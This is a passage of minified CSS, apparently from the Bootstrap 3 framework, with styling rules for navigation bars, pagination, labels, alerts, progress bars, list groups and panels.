.form-control:last-child,.input-group-addon:last-child,.input-group-btn:first-child>.btn-group:not(:first-child)>.btn,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:active,.input-group-btn>.btn:focus,.input-group-btn>.btn:hover{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{z-index:2;margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:focus,.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:focus,.nav>li.disabled>a:hover{color:#777;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:focus,.nav .open>a:hover{background-color:#eee;border-color:#337ab7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:focus,.nav-tabs>li.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{color:#fff;background-color:#337ab7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}@media (min-width:768px){.navbar{border-radius:4px}}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;-webkit-overflow-scrolling:touch;border-top:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1)}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;-webkit-box-shadow:none;box-shadow:none}.navbar-collapse.collapse{display:block!important;height:auto!important;padding-bottom:0;overflow:visible!important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:340px}@media (max-device-width:480px) and (orientation:landscape){.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:200px}}.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-bottom,.navbar-fixed-top{position:fixed;right:0;left:0;z-index:1030}@media (min-width:768px){.navbar-fixed-bottom,.navbar-fixed-top{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;height:50px;padding:15px 15px;font-size:18px;line-height:20px}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-brand>img{display:block}@media (min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-top:8px;margin-right:15px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;-webkit-box-shadow:none;box-shadow:none}.navbar-nav .open .dropdown-menu .dropdown-header,.navbar-nav .open .dropdown-menu>li>a{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:focus,.navbar-nav .open .dropdown-menu>li>a:hover{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;margin-top:8px;margin-right:-15px;margin-bottom:8px;margin-left:-15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1)}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .form-control,.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .checkbox,.navbar-form .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .checkbox label,.navbar-form .radio label{padding-left:0}.navbar-form .checkbox input[type=checkbox],.navbar-form .radio input[type=radio]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-left-radius:0;border-top-right-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media (min-width:768px){.navbar-text{float:left;margin-right:15px;margin-left:15px}}@media (min-width:768px){.navbar-left{float:left!important}.navbar-right{float:right!important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:focus,.navbar-default .navbar-brand:hover{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a{color:#777}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:focus,.navbar-default .navbar-nav>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:focus,.navbar-default .navbar-nav>.disabled>a:hover{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:focus,.navbar-default .navbar-toggle:hover{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#555;background-color:#e7e7e7}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-default .btn-link{color:#777}.navbar-default .btn-link:focus,.navbar-default .btn-link:hover{color:#333}.navbar-default .btn-link[disabled]:focus,.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:focus,fieldset[disabled] .navbar-default .btn-link:hover{color:#ccc}.navbar-inverse{background-color:#222;border-color:#080808}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:focus,.navbar-inverse .navbar-brand:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a:focus,.navbar-inverse .navbar-nav>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:focus,.navbar-inverse .navbar-nav>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:focus,.navbar-inverse .navbar-nav>.disabled>a:hover{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:focus,.navbar-inverse .navbar-toggle:hover{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:focus,.navbar-inverse .navbar-nav>.open>a:hover{color:#fff;background-color:#080808}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#9d9d9d}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#9d9d9d}.navbar-inverse .btn-link:focus,.navbar-inverse .btn-link:hover{color:#fff}.navbar-inverse .btn-link[disabled]:focus,.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:focus,fieldset[disabled] .navbar-inverse .btn-link:hover{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#ccc;content:"/\00a0"}.breadcrumb>.active{color:#777}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.42857143;color:#337ab7;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-top-left-radius:4px;border-bottom-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>li>a:focus,.pagination>li>a:hover,.pagination>li>span:focus,.pagination>li>span:hover{z-index:2;color:#23527c;background-color:#eee;border-color:#ddd}.pagination>.active>a,.pagination>.active>a:focus,.pagination>.active>a:hover,.pagination>.active>span,.pagination>.active>span:focus,.pagination>.active>span:hover{z-index:3;color:#fff;cursor:default;background-color:#337ab7;border-color:#337ab7}.pagination>.disabled>a,.pagination>.disabled>a:focus,.pagination>.disabled>a:hover,.pagination>.disabled>span,.pagination>.disabled>span:focus,.pagination>.disabled>span:hover{color:#777;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px;line-height:1.3333333}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-top-left-radius:6px;border-bottom-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px;line-height:1.5}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-top-left-radius:3px;border-bottom-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:focus,.pager li>a:hover{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:focus,.pager .disabled>a:hover,.pager .disabled>span{color:#777;cursor:not-allowed;background-color:#fff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}a.label:focus,a.label:hover{color:#fff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#777}.label-default[href]:focus,.label-default[href]:hover{background-color:#5e5e5e}.label-primary{background-color:#337ab7}.label-primary[href]:focus,.label-primary[href]:hover{background-color:#286090}.label-success{background-color:#5cb85c}.label-success[href]:focus,.label-success[href]:hover{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:focus,.label-info[href]:hover{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:focus,.label-warning[href]:hover{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:focus,.label-danger[href]:hover{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:middle;background-color:#777;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-group-xs>.btn .badge,.btn-xs .badge{top:0;padding:1px 5px}a.badge:focus,a.badge:hover{color:#fff;text-decoration:none;cursor:pointer}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#337ab7;background-color:#fff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding-top:30px;padding-bottom:30px;margin-bottom:30px;color:inherit;background-color:#eee}.jumbotron .h1,.jumbotron h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container .jumbotron,.container-fluid .jumbotron{padding-right:15px;padding-left:15px;border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding-top:48px;padding-bottom:48px}.container .jumbotron,.container-fluid .jumbotron{padding-right:60px;padding-left:60px}.jumbotron .h1,.jumbotron h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail a>img,.thumbnail>img{margin-right:auto;margin-left:auto}a.thumbnail.active,a.thumbnail:focus,a.thumbnail:hover{border-color:#337ab7}.thumbnail .caption{padding:9px;color:#333}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:700}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#337ab7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress-bar-striped,.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress-bar.active,.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{overflow:hidden;zoom:1}.media-body{width:10000px}.media-object{display:block}.media-object.img-thumbnail{max-width:none}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-body,.media-left,.media-right{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-left-radius:4px;border-top-right-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}a.list-group-item,button.list-group-item{color:#555}a.list-group-item .list-group-item-heading,button.list-group-item .list-group-item-heading{color:#333}a.list-group-item:focus,a.list-group-item:hover,button.list-group-item:focus,button.list-group-item:hover{color:#555;text-decoration:none;background-color:#f5f5f5}button.list-group-item{width:100%;text-align:left}.list-group-item.disabled,.list-group-item.disabled:focus,.list-group-item.disabled:hover{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text{color:#777}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{z-index:2;color:#fff;background-color:#337ab7;border-color:#337ab7}.list-group-item.active .list-group-item-heading,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:focus .list-group-item-text,.list-group-item.active:hover .list-group-item-text{color:#c7ddef}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success,button.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading,button.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:focus,a.list-group-item-success:hover,button.list-group-item-success:focus,button.list-group-item-success:hover{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:focus,a.list-group-item-success.active:hover,button.list-group-item-success.active,button.list-group-item-success.active:focus,button.list-group-item-success.active:hover{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info,button.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading,button.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:focus,a.list-group-item-info:hover,button.list-group-item-info:focus,button.list-group-item-info:hover{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:focus,a.list-group-item-info.active:hover,button.list-group-item-info.active,button.list-group-item-info.active:focus,button.list-group-item-info.active:hover{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning,button.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading,button.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:focus,a.list-group-item-warning:hover,button.list-group-item-warning:focus,button.list-group-item-warning:hover{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:focus,a.list-group-item-warning.active:hover,button.list-group-item-warning.active,button.list-group-item-warning.active:focus,button.list-group-item-warning.active:hover{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger,button.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading,button.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:focus,a.list-group-item-danger:hover,button.list-group-item-danger:focus,button.list-group-item-danger:hover{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:focus,a.list-group-item-danger.active:hover,button.list-group-item-danger.active,button.list-group-item-danger.active:focus,button.list-group-item-danger.active:hover{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-left-radius:3px;border-top-right-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit}.panel-title>.small,.panel-title>.small>a,.panel-title>a,.panel-title>small,.panel-title>small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-left-radius:3px;border-top-right-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.panel-heading+.panel-collapse>.list-group .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.panel-heading+.list-group 